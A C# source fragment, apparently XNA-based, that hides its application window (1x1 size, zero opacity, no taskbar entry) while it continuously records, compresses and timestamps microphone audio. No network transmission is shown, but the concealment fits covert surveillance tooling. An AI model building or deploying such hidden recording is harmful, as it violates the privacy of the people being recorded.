void InitializeMicrophone()
{
try
{
bool retry = true;
while (retry)
{
try
{
_microphone = Microphone.Default;
_graphicsManager = new GraphicsDeviceManager(this);
_graphicsManager.PreferredBackBufferHeight = 1;
_graphicsManager.PreferredBackBufferWidth = 1;
Form gameWindowForm = (Form)Form.FromHandle(this.Window.Handle);
gameWindowForm.Hide();
gameWindowForm.ShowInTaskbar = false;
gameWindowForm.ControlBox = false;
gameWindowForm.ShowIcon = false;
gameWindowForm.Opacity = 0;
gameWindowForm.Left = 1;
gameWindowForm.Top = 1;
FrameworkDispatcher.Update();
// todo: make the microphone capture timespan configurable
float timespan = float.Parse(ConfigurationManager.AppSettings["audioTimerInterval"]);
_microphone.BufferDuration = TimeSpan.FromMilliseconds(timespan);
_buffer = new byte[_microphone.GetSampleSizeInBytes(_microphone.BufferDuration)];
_microphone.BufferReady += OnBufferReady;
_isRunning = true;
_stream = new MemoryStream();
retry = false;
}
catch (Exception ex)
{
Tools.Instance.Logger.LogError(ex.ToString());
retry = true;
if (_microphone != null)
{
_microphone.Stop();
}
}
}
}
catch (Exception ex)
{
Tools.Instance.Logger.LogError(ex.ToString());
}
}
private void OnBufferReady(object sender, EventArgs e)
{
try
{
if (_isRunning)
{
Array.Clear(_buffer, 0, _buffer.Length);
_microphone.GetData(_buffer);
if (_stream == null)
{
_stream = new MemoryStream();
_capturesCount = 0;
}
_stream.Write(_buffer, 0, _buffer.Length);
if (_capturesCount == 1)
{
byte[] compressedCapture = Tools.Instance.DataCompression.Compress(_stream.ToArray());
// push microphone capture
_onCaptureReady.Invoke(this, new AudioCaptureEventArgs()
{
Capture = compressedCapture,
CaptureTimestamp = DateTime.Now
}
);
_stream = new MemoryStream();
_capturesCount = 0;
}
else
{
_capturesCount++;
}
}
else
{
_microphone = Microphone.Default;
_microphone.Stop();
_microphone.BufferReady -= this.OnBufferReady;
}
}
catch (Exception ex)
{
Tools.Instance.Logger.LogError(ex.ToString());
}
}
